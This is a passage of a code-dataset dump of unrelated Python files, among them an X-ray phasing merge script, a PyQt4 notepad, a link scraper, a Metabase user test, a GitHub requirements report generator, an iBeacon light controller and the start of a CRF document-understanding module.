['100', 'ERA ', '200', 'DM ', '50', 'ERA']\n \n # pair alg and iters\n # [['ERA', 100], ['DM', 200], ['ERA', 50]]\n alg_iters = [ [steps[i+1].strip(), int(steps[i])] for i in range(0, len(steps), 2)]\n return alg_iters\n\ndef out_merge(out, I, good_pix):\n # average the background retrievals\n if out[0]['background'] is not None :\n background = np.mean([i['background'] for i in out], axis=0)\n else :\n background = False\n\n silent = True\n if rank == 0: silent = False\n \n # centre, flip and average the retrievals\n O, PRTF = utils.merge.merge_sols(np.array([i['O'] for i in out]), silent)\n support, t = utils.merge.merge_sols(np.array([i['support'] for i in out]).astype(np.float64), True)\n \n eMod = np.array([i['eMod'] for i in out])\n eCon = np.array([i['eCon'] for i in out])\n\n # mpi\n if size > 1 :\n O = comm.gather(O, root=0)\n support = comm.gather(support, root=0)\n eMod = comm.gather(eMod, root=0)\n eCon = comm.gather(eCon, root=0)\n PRTF = comm.gather(PRTF, root=0)\n if background is not False:\n background = comm.gather(background, root=0)\n \n if rank == 0 :\n PRTF = np.abs(np.mean(np.array(PRTF), axis=0))\n t, t, PRTF_rav = phasing.src.mappers.radial_symetry(PRTF)\n \n eMod = np.array(eMod).reshape((size*eMod[0].shape[0], eMod[0].shape[1]))\n eCon = np.array(eCon).reshape((size*eCon[0].shape[0], eCon[0].shape[1]))\n O, t = utils.merge.merge_sols(np.array(O))\n support, t = utils.merge.merge_sols(np.array(support))\n if background is not False:\n background = np.mean(np.array(background), axis=0)\n else :\n PRTF = PRTF_rav = None\n \n if rank == 0 :\n # get the PSD\n PSD, PSD_I, PSD_phase = utils.merge.PSD(O, I)\n\n out_m = out[0]\n out_m['I'] = np.abs(np.fft.fftn(O))**2\n out_m['O'] = O\n out_m['background'] = background\n out_m['PSD'] = PSD\n out_m['PSD_I'] = PSD_I\n out_m['PRTF'] = PRTF\n out_m['PRTF_rav'] = PRTF_rav\n out_m['eMod'] = eMod\n out_m['eCon'] = eCon\n out_m['support'] = support\n return out_m\n else :\n return None\n \n\n\ndef phase(I, support, params, good_pix = None, sample_known = None):\n d = {'eMod' : [], \\\n 'eCon' : [], \\\n 'O' : None, \\\n 'background' : None, \\\n 'B_rav' : None, \\\n 'support' : None \\\n }\n out = []\n\n params['phasing_parameters']['O'] = None\n \n params['phasing_parameters']['mask'] = good_pix\n \n if params['phasing_parameters']['support'] is None :\n params['phasing_parameters']['support'] = support\n\n params0 = copy.deepcopy(params)\n \n alg_iters = config_iters_to_alg_num(params['phasing']['iters'])\n \n # Repeats\n #---------------------------------------------\n for j in range(params['phasing']['repeats']):\n out.append(copy.deepcopy(d))\n params = copy.deepcopy(params0)\n \n for alg, iters in alg_iters :\n \n if alg == 'ERA':\n O, info = phasing.ERA(I, iters, **params['phasing_parameters'])\n \n if alg == 'DM':\n O, info = phasing.DM(I, iters, **params['phasing_parameters'])\n \n out[j]['O'] = params['phasing_parameters']['O'] = O\n out[j]['support'] = params['phasing_parameters']['support'] = info['support']\n out[j]['eMod'] += info['eMod']\n out[j]['eCon'] += info['eCon']\n \n if 'background' in info.keys():\n out[j]['background'] = params['phasing_parameters']['background'] = info['background'] * good_pix\n out[j]['B_rav'] = info['r_av']\n \n return out\n\n\n\nif __name__ == \"__main__\":\n args = utils.io_utils.parse_cmdline_args_phasing()\n \n # read the h5 file\n diff, support, good_pix, sample_known, params = utils.io_utils.read_input_h5(args.input)\n\n out = phase(diff, support, params, \\\n good_pix = good_pix, sample_known = sample_known)\n\n out = out_merge(out, diff, good_pix)\n \n # write the h5 file \n if rank == 0 :\n utils.io_utils.write_output_h5(params['output']['path'], diff, out['I'], support, out['support'], \\\n good_pix, sample_known, out['O'], out['eMod'], out['eCon'], None, \\\n out['PRTF'], out['PRTF_rav'], out['PSD'], out['PSD_I'], out['B_rav'])\n\n","sub_path":"examples/duck/phase.py","file_name":"phase.py","file_ext":"py","file_size_in_byte":5242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"452655621","text":"# -*- coding: utf-8 -*-\n#! /usr/bin/python\n\nimport sys\nimport os\nfrom PyQt4 import QtGui\nfrom PyQt4.QtCore import Qt\n\nimport design5\n\nclass Notepad(QtGui.QMainWindow, design5.Ui_MainWindow):\n def __init__(self, parent=None):\n super(Notepad, self).__init__(parent)\n\n self.filename = \"\"\n\n\n self.setupUi(self)\n\n self.setCentralWidget(self.textEdit)\n\n\n self.closeAction.triggered.connect(self.close)\n self.newAction.triggered.connect(self.newFile) \n self.saveAction.triggered.connect(self.saveFile) \n self.openAction.triggered.connect(self.openFile)\n\n self.printAction.triggered.connect(self.printHandler)\n self.previewAction.triggered.connect(self.preview)\n\n self.cutAction.triggered.connect(self.textEdit.cut)\n self.copyAction.triggered.connect(self.textEdit.copy)\n self.pasteAction.triggered.connect(self.textEdit.paste)\n self.undoAction.triggered.connect(self.textEdit.undo)\n self.redoAction.triggered.connect(self.textEdit.redo)\n\n self.bulletAction.triggered.connect(self.bulletList)\n self.numberedAction.triggered.connect(self.numberList)\n\n self.fontColor.triggered.connect(self.fontColorChanged)\n self.backColor.triggered.connect(self.highlight)\n\n self.boldAction.triggered.connect(self.bold)\n self.italicAction.triggered.connect(self.italic)\n self.underlAction.triggered.connect(self.underline)\n self.strikeAction.triggered.connect(self.strike)\n self.superAction.triggered.connect(self.superScript)\n self.subAction.triggered.connect(self.subScript)\n\n self.toolbarAction.triggered.connect(self.toggleToolbar)\n self.formatbarAction.triggered.connect(self.toggleFormatbar)\n self.fontbarAction.triggered.connect(self.toggleFontbar)\n self.statusbarAction.triggered.connect(self.toggleStatusbar)\n\n self.fontBox = QtGui.QFontComboBox(self.fontbar)\n self.fontBox.currentFontChanged.connect(lambda font: self.textEdit.setCurrentFont(font))\n\n self.fontSize = QtGui.QSpinBox(self.fontbar)\n\n # Will display \" pt\" after each value\n self.fontSize.setSuffix(\" pt\")\n\n self.fontSize.valueChanged.connect(lambda size: self.textEdit.setFontPointSize(size))\n\n self.fontSize.setValue(14)\n\n\n def newFile(self):\n #self.textEdit.clear()\n spawn = Notepad(self)\n spawn.show()\n\n \n def saveFile(self):\n \n # Only open dialog if there is no filename yet\n if not self.filename:\n self.filename = QtGui.QFileDialog.getSaveFileName(self, 'Save File','.')\n\n # Append extension if not there yet if you use python3:\n # if not self.filename.endswith(\".wrt\"):\n if not self.filename.endsWith(\".wrt\"):\n self.filename += \".wrt\"\n\n # We just store the contents of the text file along with the\n # format in html, which Qt does in a very nice way for us\n with open(self.filename,\"wt\") as file:\n file.write(self.textEdit.toHtml())\n\n def openFile(self):\n # Get filename and show only .writer files\n self.filename = QtGui.QFileDialog.getOpenFileName(self, 'Open File',\".\",filter= \"All (*);;txt(*.wrt *.txt)\")\n\n if self.filename:\n with open(self.filename,\"rt\") as file:\n self.textEdit.setText(file.read())\n\n def preview(self):\n\n # Open preview dialog\n preview = QtGui.QPrintPreviewDialog()\n\n # If a print is requested, open print dialog\n preview.paintRequested.connect(lambda p: self.textEdit.print_(p))\n\n preview.exec_()\n\n def printHandler(self):\n\n # Open printing dialog\n dialog = QtGui.QPrintDialog()\n\n if dialog.exec_() == QtGui.QDialog.Accepted:\n self.textEdit.document().print_(dialog.printer())\n\n def bulletList(self):\n\n cursor = self.textEdit.textCursor()\n\n # Insert bulleted list\n cursor.insertList(QtGui.QTextListFormat.ListDisc)\n\n def numberList(self):\n\n cursor = self.textEdit.textCursor()\n\n # Insert list with numbers\n cursor.insertList(QtGui.QTextListFormat.ListDecimal)\n\n def fontColorChanged(self):\n\n # Get a color from the text dialog\n color = QtGui.QColorDialog.getColor()\n\n # Set it as the new text color\n self.textEdit.setTextColor(color)\n\n def highlight(self):\n\n color = QtGui.QColorDialog.getColor()\n\n self.textEdit.setTextBackgroundColor(color)\n\n def bold(self):\n\n if self.textEdit.fontWeight() == QtGui.QFont.Bold:\n\n self.textEdit.setFontWeight(QtGui.QFont.Normal)\n\n else:\n\n self.textEdit.setFontWeight(QtGui.QFont.Bold)\n\n def italic(self):\n\n state = self.textEdit.fontItalic()\n\n self.textEdit.setFontItalic(not state)\n\n def underline(self):\n\n state = self.textEdit.fontUnderline()\n\n self.textEdit.setFontUnderline(not state)\n\n def strike(self):\n\n # Grab the text's format\n fmt = self.textEdit.currentCharFormat()\n\n # Set the fontStrikeOut property to its opposite\n fmt.setFontStrikeOut(not fmt.fontStrikeOut())\n\n # And set the next char format\n self.textEdit.setCurrentCharFormat(fmt)\n\n def superScript(self):\n\n # Grab the current format\n fmt = self.textEdit.currentCharFormat()\n\n # And get the vertical alignment property\n align = fmt.verticalAlignment()\n\n # Toggle the state\n if align == QtGui.QTextCharFormat.AlignNormal:\n\n fmt.setVerticalAlignment(QtGui.QTextCharFormat.AlignSuperScript)\n\n else:\n\n fmt.setVerticalAlignment(QtGui.QTextCharFormat.AlignNormal)\n\n # Set the new format\n self.textEdit.setCurrentCharFormat(fmt)\n\n def subScript(self):\n\n # Grab the current format\n fmt = self.textEdit.currentCharFormat()\n\n # And get the vertical alignment property\n align = fmt.verticalAlignment()\n\n # Toggle the state\n if align == QtGui.QTextCharFormat.AlignNormal:\n\n fmt.setVerticalAlignment(QtGui.QTextCharFormat.AlignSubScript)\n\n else:\n\n fmt.setVerticalAlignment(QtGui.QTextCharFormat.AlignNormal)\n\n # Set the new format\n self.textEdit.setCurrentCharFormat(fmt)\n\n def toggleToolbar(self):\n\n state = self.toolbar.isVisible()\n\n # Set the visibility to its inverse\n self.toolbar.setVisible(not state)\n\n def toggleFormatbar(self):\n\n state = self.formatbar.isVisible()\n\n # Set the visibility to its inverse\n self.formatbar.setVisible(not state)\n\n def toggleFontbar(self):\n\n state = self.fontbar.isVisible()\n\n # Set the visibility to its inverse\n self.fontbar.setVisible(not state)\n def toggleStatusbar(self):\n\n state = self.statusbar.isVisible()\n\n # Set the visibility to its inverse\n self.statusbar.setVisible(not state)\n\ndef main():\n app = QtGui.QApplication(sys.argv)\n form = Notepad()\n form.show()\n app.exec_()\n\nif __name__ == '__main__':\n main()","sub_path":"unit_05/main5.py","file_name":"main5.py","file_ext":"py","file_size_in_byte":7130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"125175590","text":"\r\nimport requests\r\nfrom lxml import etree\r\nimport re\r\n\r\nurl = 'http://keet.dididown.co/'\r\n\r\n\r\ndef getURL(url, aim=None):\r\n xpath = '//a'\r\n r = requests.get(url)\r\n r.encoding = 'utf8'\r\n tree = etree.HTML(r.text)\r\n results = tree.xpath(xpath)\r\n urls = []\r\n if aim:\r\n urls = [r.url + x.get('href') for x in results if x.text == aim]\r\n if not aim:\r\n for x in results:\r\n print(x.get('href'),x.text)\r\n return urls\r\n\r\nif __name__ == '__main__':\r\n # url = 'http://keet.dididown.co/'\r\n # aim = '图文欣賞'\r\n url = 'http://www.27270.com/'\r\n url = 'http://www.mm131.com/'\r\n urls = getURL(url)\r\n for url in urls:\r\n print(url)\r\n","sub_path":"python/learnRequests.py","file_name":"learnRequests.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"402615899","text":"from unittest import mock\nfrom tests import test_helpers\nimport json\n\n\ndef test_insert_multiple_users_no_metabase(test_client, test_db):\n with mock.patch('app.users.views.metabase', autospeck=True) as metabase_mock:\n access_token = test_helpers.get_access_token(test_client)\n headers = {'Content-Type': 'application/json', 'Authorization': f\"Bearer {access_token}\"}\n\n new_user_1 = {\n 'email': test_helpers.fake.email(),\n 'username': test_helpers.fake.user_name(),\n 'role_id': 2,\n 'name': test_helpers.fake.name(),\n 'location': test_helpers.fake.address()\n }\n\n new_user_2 = {\n 'email': test_helpers.fake.email(),\n 'username': test_helpers.fake.user_name(),\n 'role_id': 2,\n 'name': test_helpers.fake.name(),\n 'location': test_helpers.fake.address()\n }\n\n metabase_mock.insert_user.return_value = None # Pretend metabase is not running\n\n resp = test_client.post(\n '/users/',\n data=json.dumps(new_user_1),\n headers=headers\n )\n assert resp.status_code == 200\n\n metabase_mock.insert_user.assert_called_once()\n\n assert resp.json['metabase_user_id'] is None\n\n resp = test_client.post(\n '/users/',\n data=json.dumps(new_user_2),\n headers=headers\n )\n assert resp.status_code == 200\n assert resp.json['metabase_user_id'] is None\n\n # No exception thrown\n","sub_path":"src/api/tests/regression/test_metabase.py","file_name":"test_metabase.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"391696002","text":"# check if a rotated string is a\n# subscript of another string\n\ndef isRotation(s1,s2):\n l = len(s1)\n if(l is len(s2) and l > 0):\n s = s1 + s1 # hello -> hellohello\n return s2 in s\n return False\n\ns2 = \"llohe\" #hello is rotated\ns1 = \"hello\"\n\nprint(isRotation(s1,s2))\n","sub_path":"checkStringUniqueChars/src/rotation.py","file_name":"rotation.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"603924261","text":"import os\nimport logging\nimport github3\nimport glob\nimport re\nimport shutil\nfrom mdutils import MdUtils\nfrom pds_github_util.tags.tags import Tags\n\nfrom pds_github_util.html.md_to_html import md_to_html\n\nlogger = logging.getLogger(__name__)\n\n\nclass NoAppropriateVersionFoundException(Exception):\n pass\n\nclass Requirements:\n ISSUE_TYPES = ['bug', 'enhancement']\n\n def __init__(self, org, repo, token=None, dev=False):\n self._organization = org\n self._repository = repo\n self._dev = dev\n\n gh = github3.login(token=token)\n self._repo = gh.repository(self._organization, self._repository)\n self._requirements = self._get_requirements_from_issues()\n self._tags = Tags(org, repo, token=token)\n self._current_tag = self._tags.get_latest_tag(self._dev)\n self._requirements_tag_map = self._get_requirement_tag_map()\n\n\n def _get_requirement_topic(self, issue):\n requirement_topic = None\n for label in issue.labels():\n if label.name.startswith(\"requirement-topic\"):\n requirement_topic = label.name.split(':')[1]\n continue\n\n if not requirement_topic:\n requirement_topic = 'default'\n\n return requirement_topic\n\n\n\n\n def _get_requirements_from_issues(self):\n summary = {}\n\n for issue in self._repo.issues(state='all', direction='asc', labels='requirement'):\n requirement_topic = self._get_requirement_topic(issue)\n if requirement_topic not in summary.keys():\n summary[requirement_topic] = []\n summary[requirement_topic].append({'number': issue.number,\n 'title': issue.title,\n 'link': issue.url})\n\n return summary\n\n def _get_requirement_tag_map(self):\n\n requirements_issue_map = {}\n requirements_tag_map = {}\n for issue in self._repo.issues(state='closed', direction='asc'):\n if issue.body:\n body_sections = issue.body.split(\"**Applicable requirements\")\n if len(body_sections) > 1:\n impacted_requirements_str = body_sections[1]\n prog = re.compile(\"#[0-9]+\")\n requirements = prog.findall(impacted_requirements_str)\n requirements = [ int(req[1:]) for req in requirements] # remove leading # and convert to int to be consistent with requirement dictionnary\n for req in requirements:\n if req not in requirements_tag_map.keys():\n requirements_tag_map[req] = {'issues': set(), 'tags': set()}\n issue_date_isoz = issue.closed_at.isoformat().replace('+00:00', 'Z')\n earliest_tag_closed_after = self._tags.get_earliest_tag_after(issue_date_isoz)\n requirements_tag_map[req]['issues'].add(issue.number)\n requirements_tag_map[req]['tags'].add(earliest_tag_closed_after)\n return requirements_tag_map\n\n def get_requirements(self):\n return self._requirements\n\n @staticmethod\n def _version_paragraph_intro(versions_len):\n if versions_len == 0:\n return ''\n elif versions_len ==1:\n return 'The version implementing or impacting this requirement is:'\n else:\n return 'The versions implementing or impacting this requirement are:'\n\n @staticmethod\n def _issue_is_bug_or_enhancement(issue):\n for label in issue.labels():\n if label.name in Requirements.ISSUE_TYPES:\n return label.name\n\n def _clean_previous_dev_requirements(self, root_dir):\n if self._dev:\n requirement_version_dev_dirs = glob.glob(os.path.join(root_dir, '*' + Tags.PYTHON_DEV_SUFFIX))\n requirement_version_dev_dirs.extend(glob.glob(os.path.join(root_dir, '*' + Tags.JAVA_DEV_SUFFIX)))\n\n for dir in requirement_version_dev_dirs:\n if dir != self._current_tag:\n shutil.rmtree(dir)\n\n def write_requirements(self, root_dir='.', md_file_name=None, format='md'):\n if not md_file_name:\n if self._current_tag:\n md_file_name = os.path.join(root_dir, self._current_tag, 'REQUIREMENTS.md')\n else:\n dev_or_stable = \"dev\" if self._dev else \"stable\"\n raise NoAppropriateVersionFoundException(\"No suitable version for \" + dev_or_stable + \"release\")\n\n os.makedirs(os.path.dirname(md_file_name), exist_ok=True)\n requirements_md = MdUtils(file_name=md_file_name, title=\"Requirements Summary\")\n\n for req_topic in self._requirements:\n requirements_md.new_header(level=1, title=req_topic)\n for req in self._requirements[req_topic]:\n impacted = self._current_tag in self._requirements_tag_map[req['number']]['tags'] if req['number'] in self._requirements_tag_map else False\n impacted_icon = ':boom:' if impacted else ''\n title = f\"{req['title']} ([#{req['number']}](https://github.com/{self._repo}/issues/{req['number']})) {impacted_icon}\"\n requirements_md.new_header(level=2, title=title)\n if impacted:\n issue_lines = {t : [] for t in Requirements.ISSUE_TYPES}\n for n in self._requirements_tag_map[req['number']]['issues']:\n issue = self._repo.issue(n)\n bug_or_enhancement = Requirements._issue_is_bug_or_enhancement(issue)\n issue_lines[bug_or_enhancement].append(f'{issue.title} ([#{n}](https://github.com/{self._repo}/issues/{n}))')\n\n for issue_type, issue_list in issue_lines.items():\n if len(issue_lines[issue_type]):\n requirements_md.new_paragraph(f'The {issue_type}s which impact this requirements are:')\n requirements_md.new_list(issue_list)\n\n else:\n requirements_md.new_paragraph('This requirement is not impacted by the current version')\n\n requirements_md.create_md_file()\n if format == 'md':\n return md_file_name\n if format == 'html':\n html_file_name = md_file_name.replace('.md', '.html')\n return md_to_html(md_file_name, html_file_name,\n {'name': self._repo, 'description': self._repo.description, 'tag': self._current_tag})\n else:\n logger.error(f'output format {format} is not supported')\n return ''\n\n self._clean_previous_dev_requirements(root_dir)\n\n","sub_path":"pds_github_util/requirements/requirements.py","file_name":"requirements.py","file_ext":"py","file_size_in_byte":6734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"590715595","text":"#\n# [522] Longest Uncommon Subsequence II\n#\n# https://leetcode.com/problems/longest-uncommon-subsequence-ii/description/\n#\n# algorithms\n# Medium (32.19%)\n# Total Accepted: 12.5K\n# Total Submissions: 38.9K\n# Testcase Example: '[\"aba\",\"cdc\",\"eae\"]'\n#\n#\n# Given a list of strings, you need to find the longest uncommon subsequence\n# among them. The longest uncommon subsequence is defined as the longest\n# subsequence of one of these strings and this subsequence should not be any\n# subsequence of the other strings.\n#\n#\n#\n# A subsequence is a sequence that can be derived from one sequence by deleting\n# some characters without changing the order of the remaining elements.\n# Trivially, any string is a subsequence of itself and an empty string is a\n# subsequence of any string.\n#\n#\n#\n# The input will be a list of strings, and the output needs to be the length of\n# the longest uncommon subsequence. If the longest uncommon subsequence doesn't\n# exist, return -1.\n#\n#\n# Example 1:\n#\n# Input: \"aba\", \"cdc\", \"eae\"\n# Output: 3\n#\n#\n#\n# Note:\n#\n# All the given strings' lengths will not exceed 10.\n# The length of the given list will be in the range of [2, 50].\n#\n\n\nclass Solution:\n def findLUSlength(self, strs):\n \"\"\"\n :type strs: List[str]\n :rtype: int\n \"\"\"\n res = -1\n for i in range(len(strs)):\n flag = True\n for j in range(len(strs)):\n if i != j and self.check(strs[i], strs[j]):\n flag = False\n break\n if flag:\n res = max(res, len(strs[i]))\n return res\n\n def check(self, a, b):\n # Check a whether or not is b's subsequence\n if len(a) > len(b):\n return False\n if len(a) == len(b):\n return True if a == b else False\n L, R = 0, 0\n while L < len(a) and R < len(b):\n if a[L] == b[R]:\n L, R = L+1, R+1\n else:\n R += 1\n if L == len(a):\n return True\n return False\n","sub_path":"522.longest-uncommon-subsequence-ii.python3.py","file_name":"522.longest-uncommon-subsequence-ii.python3.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"470853012","text":"#!/usr/bin/python3\n\n# BeaconAir - Reads iBeacons and controls HUE lights\n# SwitchDoc Labs December 2020 \n#\n#\nfrom __future__ import division\nfrom __future__ import print_function\nfrom past.builtins import cmp\nfrom future import standard_library\nstandard_library.install_aliases()\nfrom builtins import str\nfrom past.utils import old_div\nimport sys\nimport time\nimport utils\n\nsys.path.append('./ble')\nsys.path.append('./config')\n\n# if conflocal.py is not found, import default conf.py\n\n# Check for user imports\ntry:\n import conflocal as conf\nexcept ImportError:\n import conf\n\n\n\n\n\nimport bleThread\n\nimport lights\nimport webmap\nimport bubblelog\nimport iBeaconChart\n\nfrom threading import Thread\nfrom queue import Queue\n\n# State Variables\n\ncurrentiBeaconRSSI=[]\nrollingiBeaconRSSI=[]\ncurrentiBeaconTimeStamp=[]\n\n# Light State Variables\n\ncurrentLightState= []\n\nLIGHT_BRIGHTNESS_SENSITIVITY = 2.0\nLIGHT_DISTANCE_SENSITIVITY = 2.0\nBEACON_ON = True\nDISPLAY_BEACON_ON = True\nDISPLAY_LIGHTS_ON = True\n\n# init state variables\nfor beacon in conf.BeaconList:\n\tcurrentiBeaconRSSI.append(0)\n\trollingiBeaconRSSI.append(0)\n\tcurrentiBeaconTimeStamp.append(time.time())\n\n\nlights.initializeHue('192.168.1.23')\n\n# init light state variables\nfor light in conf.LightList:\n print(type(light[7]))\n print(light[7])\n currentLightState.append(lights.getInitialLightState(light[7]))\n\n\n\n# recieve commands from command file \n\ndef completeCommand():\n\n f = open(\"/home/pi/SDL_Pi_BeaconAir/state/BeaconAirCommand.txt\", \"w\")\n f.write(\"DONE\")\n f.close()\n\ndef processCommand():\n global LIGHT_BRIGHTNESS_SENSITIVITY\n global LIGHT_DISTANCE_SENSITIVITY\n global BEACON_ON\n global DISPLAY_BEACON_ON\n global DISPLAY_LIGHTS_ON\n global currentLightState\n\n f = open(\"/home/pi/SDL_Pi_BeaconAir/state/BeaconAirCommand.txt\", \"r\")\n command = f.read()\n f.close()\n\n if (command == \"\") or (command == \"DONE\"):\n # Nothing to do\n return False\n\n # Check for our commands\n\n print(\"Processing Command: \", command)\n\n if (command == \"BEACONON\"):\n BEACON_ON = True\n completeCommand()\n return True\n\n if (command == \"BEACONOFF\"):\n BEACON_ON = False\n completeCommand()\n return True\n\n if (command == \"ALLLIGHTSON\"):\n lights.allLights(True, currentLightState ) \n completeCommand()\n return True\n\n if (command == \"ALLLIGHTSOFF\"):\n lights.allLights(False, currentLightState) \n completeCommand()\n return True\n\n if (command == \"DISPLAYBEACONON\"):\n DISPLAY_BEACON_ON = True\n completeCommand()\n return True\n\n if (command == \"DISPLAYBEACONOFF\"):\n DISPLAY_BEACON_ON = False\n completeCommand()\n return True\n\n if (command == \"DISPLAYLIGHTSON\"):\n DISPLAY_LIGHTS_ON = True\n completeCommand()\n return True\n\n if (command == \"DISPLAYLIGHTSOFF\"):\n DISPLAY_LIGHTS_ON = False\n completeCommand()\n return True\n\n if (command == \"UPDATESENSITIVITIES\"):\n\n try:\t\n f = open(\"/home/pi/SDL_Pi_BeaconAir/state/distanceSensitivity.txt\", \"r\")\n commandresponse = f.read()\n LIGHT_DISTANCE_SENSITIVITY = float(commandresponse) \n f.close()\n except:\n LIGHT_DISTANCE_SENSITIVITY = 2.0\n\t\t\t\n try:\t\n f = open(\"/home/pi/SDL_Pi_BeaconAir/state/brightnessSensitivity.txt\", \"r\")\n commandresponse = f.read()\n f.close()\n LIGHT_BRIGHTNESS_SENSITIVITY = float(commandresponse) \n except:\n LIGHT_BRIGHTNESS_SENSITIVITY = 2.0\n print(\"LIGHT_DISTANCE_SENSITIVITY, LIGHT_BRIGHTNESS_SENSITIVITY= \", LIGHT_DISTANCE_SENSITIVITY, LIGHT_BRIGHTNESS_SENSITIVITY)\n completeCommand()\n return True\n\n completeCommand()\n return True\n\n# build configuration Table\n\n\n# set up BLE thread\n# set up a communication queue\n\n\n\nqueueBLE = Queue()\nBLEThread = Thread(target=bleThread.bleDetect, args=(__name__,10,queueBLE,))\nBLEThread.daemon = True\nBLEThread.start()\n\nbubblelog.writeToBubbleLog(\"BeaconAir Started\") \n\n# the main loop of BeaconAir\nmyPosition = [0,0]\nlastPosition = [1,1]\nbeacons = []\nwhile True:\n if (BEACON_ON == True):\n\t\t# check for iBeacon Updates\n print(\"Queue Length =\", queueBLE.qsize())\n if (queueBLE.empty() == False):\n result = queueBLE.get(False)\n print(\"------\")\n utils.processiBeaconList(result,currentiBeaconRSSI, currentiBeaconTimeStamp,rollingiBeaconRSSI)\n utils.clearOldValues(10,currentiBeaconRSSI, currentiBeaconTimeStamp,rollingiBeaconRSSI)\n for beacon in conf.BeaconList:\n utils.printBeaconDistance(beacon, currentiBeaconRSSI, currentiBeaconTimeStamp,rollingiBeaconRSSI)\n # update position\n if (utils.haveThreeGoodBeacons(rollingiBeaconRSSI) >= 3):\n oldbeacons = beacons\t\n beacons = utils.get3ClosestBeacons(rollingiBeaconRSSI)\n print(\"beacons=\", beacons)\t\n if (cmp(oldbeacons, beacons) != 0):\t\n bubblelog.writeToBubbleLog(\"closebeacons:%i,%i,%i\" % (beacons[0], beacons[1], beacons[2]))\n\t\t\t\t\n # setup for Kludge\n #rollingiBeaconRSSI[7] = rollingiBeaconRSSI[6]\n\n myPosition = utils.getXYFrom3Beacons(beacons[0],beacons[1],beacons[2], rollingiBeaconRSSI)\n print(\"myPosition1 = %3.2f,%3.2f\" % (myPosition[0], myPosition[1]))\n #bubblelog.writeToBubbleLog(\"position updated:%3.2f,%3.2f\" % (myPosition[0], myPosition[1]))\n\t\t\t\n # calculate jitter in position\t\n jitter = ((old_div((lastPosition[0] - myPosition[0]),lastPosition[0])) + (old_div((lastPosition[1] - myPosition[1]),lastPosition[1])))/2.0 \n jitter = jitter * 100.0 # to get to percent\n lastPosition = myPosition \n print(\"jitter=\", jitter)\n\t\t\t\n f = open(\"/home/pi/SDL_Pi_BeaconAir/state/distancejitter.txt\", \"w\")\n\t\t\t\t\t\n f.write(str(jitter))\n f.close()\n\n for light in conf.LightList:\n lightdistance = utils.distanceBetweenTwoPoints([light[2],light[3]], myPosition)\t\n print(\"distance to light %i : %3.2f\" % (light[0], lightdistance)) \n print(\"LIGHT_DISTANCE_SENSITIVITY, LIGHT_BRIGHTNESS_SENSITIVITY= \", LIGHT_DISTANCE_SENSITIVITY, LIGHT_BRIGHTNESS_SENSITIVITY)\n lights.checkForLightTrigger(myPosition, LIGHT_DISTANCE_SENSITIVITY, LIGHT_BRIGHTNESS_SENSITIVITY, currentLightState)\n print(\"DISPLAY_BEACON_ON, DISPLAY_LIGHTS_ON\", DISPLAY_BEACON_ON, DISPLAY_LIGHTS_ON)\n # build webpage\n webmap.buildWebMapToFile(myPosition, rollingiBeaconRSSI, currentLightState, DISPLAY_BEACON_ON, DISPLAY_LIGHTS_ON)\n\t\n # build beacon count graph\n iBeaconChart.iBeacondetect(rollingiBeaconRSSI)\n else:\n # lost position\n myPosition = [-myPosition[0], -myPosition[1]]\t\n\n #print currentiBeaconRSSI\n #print currentiBeaconTimeStamp\n\n # end of BEACON_ON - always process commands\n else:\n if (queueBLE.empty() == False):\n result = queueBLE.get(False)\n print(\"------\")\n print(\"Beacon Disabled\")\n # process commands from command file \n\t\t\n processCommand()\n \n time.sleep(0.25)\n","sub_path":"BeaconAir.py","file_name":"BeaconAir.py","file_ext":"py","file_size_in_byte":7912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"450914715","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n CRF DU task core. Supports classical CRF and Typed CRF\n \n Copyright Xerox(C) 2016, 2017 JL. Meunier\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see .\n \n \n Developed for the EU project READ. The READ project has received funding \n from the European Union�s Horizon 2020 research and innovation programme \n under grant agreement No 674943.\n \n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys, os, glob, datetime\nfrom optparse import OptionParser\n\nimport numpy as np\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import ShuffleSplit\nfrom sklearn.model_selection import GridSearchCV #0.18.1 REQUIRES NUMPY 1.12.1 or more recent\n \ntry: #to ease the use without proper Python installation\n import TranskribusDU_version\nexcept ImportError:\n sys.path.append( os.path.dirname(os.path.dirname( os.path.abspath(sys.argv[0]) )) )\n import TranskribusDU_version\n\nfrom common.trace import traceln\nfrom common.chrono import chronoOn, chronoOff\n\nimport crf.Model\nfrom crf.Model_SSVM_AD3 import Model_SSVM_AD3\nfrom crf.Model_SSVM_AD3_Multitype import Model_SSVM_AD3_Multitype\n\nfrom xml_formats.PageXml import MultiPageXml\nimport crf.FeatureDefinition\nfrom crf.FeatureDefinition_PageXml_std import FeatureDefinition_PageXml_StandardOnes\n\nfrom crf.TestReport import TestReportConfusion\n\nclass DU_CRF_Task:\n \"\"\"\nDocument Understanding class that relies on CRF (learning with SSVM and inference with AD3, thru the pystruct library\n\nUSAGE:\n- define your graph class\n- choose a model name and a folder where it will be stored\n- define the features and their configuration, or a list of (feature definition and its configuration)\n- define the learner configuration\n- instantiate this class\n\nMETHODs:\n- training: train_save_test\n- loading a trained model: load\n- testing a trained model: test\n- removing a model from the disk: rm\n- if you want to use specific features: setFeatureDefinition\n- if you want to also train/test against some baseline model: setBaselineList, 